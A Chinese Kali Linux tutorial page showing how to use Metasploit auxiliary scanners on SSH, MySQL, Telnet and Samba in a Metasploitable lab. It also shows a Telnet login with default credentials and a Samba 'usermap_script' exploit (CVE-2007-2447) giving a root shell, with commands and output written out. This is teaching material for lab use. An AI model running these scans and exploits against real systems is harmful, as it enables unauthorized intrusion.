Kail Linux渗透测试教程之在Metasploit中扫描

在Metasploit中扫描

在Metasploit中,附带了大量的内置扫描器。使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络的服务信息。本节将介绍使用Metasploit中的辅助模块实现扫描。

【实例4-4】在Metasploit中,扫描目标主机。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

root@kali:~# msfconsole

msf>

(2)搜索所有可用的扫描模块。执行命令如下所示:

msf > search scanner

Matching Modules

================

Name                                 Disclosure Date     Rank           Description

----                                    --------------------    -----------  ---------------------------------------------

auxiliary/admin/smb/check_dir_file                             normal  SMB Scanner Check File/Directory Utility

auxiliary/bnat/bnat_scan                                       normal  BNAT Scanner

auxiliary/gather/citrix_published_applications                  normal  Citrix MetaFrame ICA Published Applications Scanner

auxiliary/gather/enum_dns                                     normal  DNS Record Scanner and Enumerator

auxiliary/gather/natpmp_external_address                      normal  NAT-PMP External Address Scanner

auxiliary/gather/windows_deployment_services_shares        normal  Microsoft Windows Deployment Services Unattend Gatherer

auxiliary/pro/nexpose                                         normal  PRO: Nexpose Scanner Integration

auxiliary/pro/webscan                                          normal  PRO: Web Application Scanner

auxiliary/scanner/afp/afp_login                                 normal  Apple Filing Protocol Login Utility

auxiliary/scanner/afp/afp_server_info                                     normal  Apple Filing Protocol Info Enumerator

auxiliary/scanner/backdoor/energizer_duo_detect              normal  Energizer DUO Trojan Scanner

auxiliary/scanner/chargen/chargen_probe     1996-02-08       normal  Chargen Probe Utility

输出信息显示了,Metasploit中所有可用的扫描模块。这些模块针对各种类型的服务。这里为了缩小查看的范围,搜索SSH服务的扫描模块。

(3)扫描SSH服务的扫描模块。执行命令如下所示:

msf > search scanner/ssh

Matching Modules

================

Name                                     Disclosure Date  Rank    Description

----                                         ---------------    -----------  -------------------------------------------

auxiliary/scanner/ssh/cerberus_sftp_enumusers  2014-05-27 normal     Cerberus FTP Server SFTP Username Enumeration

auxiliary/scanner/ssh/ssh_enumusers                          normal     SSH Username Enumeration

auxiliary/scanner/ssh/ssh_identify_pubkeys                                normal     SSH Public Key Acceptance Scanner

auxiliary/scanner/ssh/ssh_login                              normal     SSH Login Check Scanner

auxiliary/scanner/ssh/ssh_login_pubkey                       normal     SSH Public Key Login Scanner

auxiliary/scanner/ssh/ssh_version                            normal     SSH Version Scanner

输出的信息,显示了几个有效的SSH模块。现在就可以选择相应的模块,进行扫描了。

(4)使用ssh_version模块扫描SSH服务。执行命令如下所示:

msf > use auxiliary/scanner/ssh/ssh_version

(5)查看ssh_version模块下可配置的选项参数。执行命令如下所示:

msf auxiliary(ssh_version) > show options

Module options (auxiliary/scanner/ssh/ssh_version):

Name      Current Setting  Required             Description

------------     ---------------     --------      -----------------------------------------------------------------------------

RHOSTS                             yes       The target address range or CIDR identifier

RPORT    22                  yes       The target port

THREADS          1                    yes       The number of concurrent threads

TIMEOUT                     30                  yes       Timeout for the SSH probe

输出的信息显示了可配置的模块。从以上结果中,可以看出RHOSTS选项没有配置。

(6)配置RHOSTS选项。执行命令如下所示:

msf auxiliary(ssh_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

从输出的结果中,可以看到RHOSTS(目标主机地址)选项已经设置为192.168.6.105(Metasploit 2操作系统)。

(7)启动扫描。执行命令如下所示:

msf auxiliary(ssh_version) > exploit

[*] 192.168.6.105:22, SSH server version: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ssh_version) >

从输出的信息中,可以看到目标系统正运行SSH服务,并且版本为SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1。

【实例4-5】扫描MySQL服务器。具体操作步骤如下所示:

(1)登录MSF终端。执行命令如下所示:

root@kali:~# msfconsole

msf>

(2)使用mysql_version模块,并查看该模块中可配置的选项参数。执行命令如下所示:

msf > use auxiliary/scanner/mysql/mysql_version

msf auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

Name     Current Setting  Required  Description

----     ---------------  --------  -----------

RHOSTS                    yes       The target address range or CIDR identifier

RPORT    3306             yes       The target port

THREADS  1                yes       The number of concurrent threads

从输出的信息中,可以看到RHOSTS选项没有配置。此时,配置RHOSTS来指定目标主机的地址。

(3)设置RHOSTS选项,并进行MySQL服务扫描。执行命令如下所示:

msf auxiliary(mysql_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

msf auxiliary(mysql_version) > exploit

[*] 192.168.6.105:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

从输出的结果中,可以看到目标主机上正在运行的MySQL版本是5.0.51a。

【实例4-6】扫描Telnet服务。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

root@kali:~# msfconsole

msf>

(2)使用telnet_version模块,并查看可配置的选项参数。执行命令如下所示:

msf > use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required    Description

----         ---------------     ---------------  -----------------------------------------------------------------------

PASSWORD                    no        The password for the specified username

RHOSTS                         yes       The target address range or CIDR identifier

RPORT             23              yes       The target port

THREADS         1               yes       The number of concurrent threads

TIMEOUT           30              yes       Timeout for the Telnet probe

USERNAME                    no        The username to authenticate as

从输出的信息中,可以看到有四个必须配置选项。其中三个选项已经配置,现在配置RHOSTS选项。

(3)配置RHOSTS选项,并启动扫描。执行命令如下所示:

msf auxiliary(telnet_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

msf auxiliary(telnet_version) > exploit

[*] 192.168.6.105:23 TELNET _                  _       _ _        _     _      ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|\x0a                            |_|                                         \x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

从以上输出的信息,仅看到一堆文本信息。在这些信息中,没有关于Telnet服务的版本信息。但是显示了登录认证信息,Login with msfadmin/msfadmin to get started。从这条信息中,可以获取到目标主机Telnet服务的用户名和密码。此时可以尝试登录。

(4)登录目标主机的Telnet服务。执行命令如下所示:

root@kali:~# telnet -l msfadmin 192.168.6.105

Trying 192.168.6.105...

Connected to 192.168.6.105.

Escape character is '^]'.

Password:                                                                         #输入密码msfadmin

Last login: Tue Jul  8 06:32:46 EDT 2014 on tty1

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by

applicable law.

To access official Ubuntu documentation, please visit:

http://help.ubuntu.com/

No mail.

msfadmin@metasploitable:~$

以上信息显示了登录Telnet服务的信息。在输出信息中看到msfadmin@metasploitable:~$提示符,则表示成功登录了Telnet服务。此时可以执行一些标准的Linux命令。例如查看多个组的成员,执行命令如下所示:

msfadmin@metasploitable:~$ id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

输出信息中显示了msfadmin用户的相关信息。其中,gid表示groups中第1个组账号为该用户的基本组,groups中的其他组账号为该用户的附加组。

在Metasploit中,可以扫描一系列地址。下面以扫描Samba服务器为例,介绍扫描一个网络内运行的Samba服务器。首先演示下,扫描单个地址的Samba服务器。

【实例4-7】演示目标扫描主机地址为192.168.6.105的Samba服务器。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

root@kali:~# msfconsole

msf>

(2)使用smb_version模块,并查看该模块可配置的选项参数。执行命令如下所示:

msf > use auxiliary/scanner/smb/smb_version

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name       Current Setting   Required           Description

----       ---------------         -----------   -----------------------------------------------------------------------

RHOSTS                     yes       The target address range or CIDR identifier

SMBDomain  WORKGROUP    no        The Windows domain to use for authentication

SMBPass                      no        The password for the specified username

SMBUser                      no        The username to authenticate as

THREADS    1                yes       The number of concurrent threads

(3)配置RHOSTS选项。执行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.105

RHOSTS => 192.168.6.105

(4)启动扫描。执行命令如下所示:

msf auxiliary(smb_version) > exploit

[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

从输出的信息中,可以看到扫描到正在运行的Samba服务器及其版本。

接下来演示扫描192.168.6.0/24网络内所有运行Sambas服务器的主机。具体操作步骤如下所示:

(1)选择使用smb_version模块。执行命令如下所示:

msf > use auxiliary/scanner/smb/smb_version

(2)配置smb_version模块中可配置的选项参数。执行命令如下所示:

msf auxiliary(smb_version) > set RHOSTS 192.168.6.0/24

RHOSTS => 192.168.6.0/24

msf auxiliary(smb_version) > set THREADS 255

THREADS => 255

(3)启动扫描。执行命令如下所示:

msf auxiliary(smb_version) > exploit

[*] 192.168.6.106:445 is running Windows 7 Ultimate 7601 Service Pack (Build 1) (language: Unknown) (name:WIN-RKPKQFBLG6C) (domain:WORKGROUP)

[*] 192.168.6.105:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)

[*] 192.168.6.104:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:LYW) (domain:LYW)

[*] 192.168.6.110:445 is running Windows XP Service Pack 0 / 1 (language: Chinese - Traditional) (name:AA-886OKJM26FSW) (domain:WORKGROUP)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

从输出的信息中,可以看到192.168.6.0/24网络内有四台主机上正在运行着Samba服务器。在显示的信息中,可以看到运行Samba服务器的操作系统类型。

【实例4-8】渗透攻击Samba服务器。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

root@kali:~# msfconsole

msf>

(2)搜索usermap模块。执行命令如下所示:

msf > search samba/usermap

Matching Modules

================

Name                            Disclosure Date   Rank       Description

----                                ---------------     -----------     -----------------------------------------------

exploit/multi/samba/usermap_script  2007-05-14      excellent  Samba "username map script" Command Execution

从输出的信息中,可以看到有个usermap模块。

(3)查看usermap_script模块的详细信息。执行命令如下所示:

msf > info exploit/multi/samba/usermap_script

Name: Samba "username map script" Command Execution

Module: exploit/multi/samba/usermap_script

Platform: Unix

Privileged: Yes

License: Metasploit Framework License (BSD)

Rank: Excellent

Provided by:

jduck <jduck@metasploit.com>

Available targets:

Id  Name

--  ----

0   Automatic

Basic options:

Name   Current Setting  Required  Description

----      ---------------       --------    -----------

RHOST                   yes       The target address

RPORT  139              yes       The target port

Payload information:

Space: 1024

Description:

This module exploits a command execution vulerability in Samba

versions 3.0.20 through 3.0.25rc3 when using the non-default

"username map script" configuration option. By specifying a username

containing shell meta characters, attackers can execute arbitrary

commands. No authentication is needed to exploit this vulnerability

since this option is used to map usernames prior to authentication!

References:

http://cvedetails.com/cve/2007-2447/

http://www.osvdb.org/34700

http://www.securityfocus.com/bid/23972

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534

http://samba.org/samba/security/CVE-2007-2447.html

输出的信息显示了usermap_script模块的详细信息。从输出信息中可以看到,该模块仅需要配置RHOST选项就可以了。这里不需要加载任何攻击载荷,就可以自动使用一个Linux命令Shell。

(3)选择使用usermap_script模块,并设置RHOST选项。执行命令如下所示:

msf > use exploit/multi/samba/usermap_script

msf exploit(usermap_script) > set RHOST 192.168.6.105

RHOST => 192.168.6.105

(4)启动渗透攻击。执行命令如下所示:

msf exploit(usermap_script) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo IwmN37I0D3cTGJhv;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "IwmN37I0D3cTGJhv\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:34848) at 2014-07-16 10:00:59 +0800

从输出的信息中,可以看到成功的打开了一个会话。这表示已成功攻击了目标主机。此时用户可以执行一些Linux命令,查看目标主机的相关信息。如下所示:

whoami                                                                     #查看当前登录系统的用户

root

从输出的信息中,可以看到当前目标系统登录的用户名是root。如果想了解该用户的详细信息,可以使用id命令查看。如下所示:

id                                                                                 #查看当前登录用户的信息

uid=0(root) gid=0(root)

输出的信息表上root用户属于root组,并且其UID和GID都为0。

本文选自:Kail Linux渗透测试实训手册大学霸内部资料,转载请注明出处,尊重技术尊重IT人!

Kail Linux渗透测试教程之在Metasploit中扫描相关推荐

  1. Kail Linux渗透测试教程之Recon-NG框架

    Kail Linux渗透测试教程之Recon-NG框架 信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信 ...

  2. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具--Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  3. Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

    Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap 网络扫描和嗅探工具--Nmap Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具.该工具可以扫描 ...

  4. Kail Linux渗透测试实训手册第3章信息收集

    Kail Linux渗透测试实训手册第3章信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信息收集的相关工 ...

  5. Kali Linux 渗透测试 博客记录

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...

  6. kail linux dns欺骗,Kali Linux渗透测试-Ettercap DNS欺骗攻击-Go语言中文社区

    Kali Linux渗透测试-Ettercap DNS欺骗攻击 DNS欺骗攻击基于中间人攻击.攻击者更改受害者从DNS服务器查询的域名解析结果,给受害者发送恶意网页或者钓鱼网页-浏览器依然显示正常的u ...

  7. 视频教程-Kali Linux渗透测试全程课与脚本语言编程系列课程-渗透测试

    Kali Linux渗透测试全程课与脚本语言编程系列课程 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥899.00 立即订 ...

  8. 视频教程-Kali Linux渗透测试基础入门到进阶实战全程课-渗透测试

    Kali Linux渗透测试基础入门到进阶实战全程课 本人有多年的服务器高级运维与开发经验,擅长计算机与服务器攻防及网络攻防技术!对网络安全领域有持续的关注和研究! 林晓炜 ¥499.00 立即订阅 ...

  9. linux渗透测试_渗透测试:选择正确的(Linux)工具栈来修复损坏的IT安全性

    linux渗透测试 Got IT infrastructure? Do you know how secure it is? The answer will probably hurt, but th ...

最新文章

  1. fileupload控件在ajax中无法使用
  2. maven、gradle依赖分析
  3. C++之队列的实现及各种
  4. thinkphp5 获取当前的域名
  5. oracle sql-1,Oracle – Oracle SQL(1)
  6. 阿里云心选-T+财务软件助力线下实体的创富转型之道
  7. 失心漂亮的个人html引导页面源码
  8. jqGrid 使用案例及笔记
  9. 封装mysql数据库操作系统_封装MySQL的单例,连接数据库并对数据进行增删改查操作...
  10. 疯狂的图形(利用C# + GDI plus模拟杂乱无章的现实场景)
  11. 计算机软件系统崩溃,电脑软件打开后闪退或崩溃怎么办
  12. matlab径向基网络,MATLAB——径向基网络拟合曲线和分类
  13. c语言判断两个字母相等,C语言:比较两个字符串是否相等
  14. 入坑rockchip 基础信息资料
  15. 网络安全行业有哪些认可度比较高的证书呢?
  16. mac 不用虚拟机 租用云服务器,mac 不用虚拟机 租用云服务器
  17. Android13 App 预装详解
  18. oracle强制拉库跳过recovery,学习笔记:Oracle坏块 数据库recover恢复时遇到坏块的解决思路案例...
  19. 西昌学院的计算机专业,西昌学院有哪些专业
  20. Apache Camel SFTP 参数说明及介绍

热门文章

  1. 钉钉在线表格下载后子表内容空白无数据
  2. 万字精华总结RocketMQ的常见用法(案例+图)
  3. 飞机订票系统(C语言版)
  4. Mac OSX常用软件汇总
  5. 50多个开源PDF阅读编辑工具汇总
  6. 为什么我不再用 .NET 框架
  7. 私活之Python数据挖掘建模平台
  8. 关系抽取远程监督PCNN:Distant Supervision for Relation Extraction via Piecewise Convolutional Neural Networks
  9. MapGIS IGServer for java
  10. oracle启动监听程序报错:本地计算机上的oracleOraDB11g_home1TNSListener服务启动后停止某些服务在未由其他服务或程序使用时将自动停止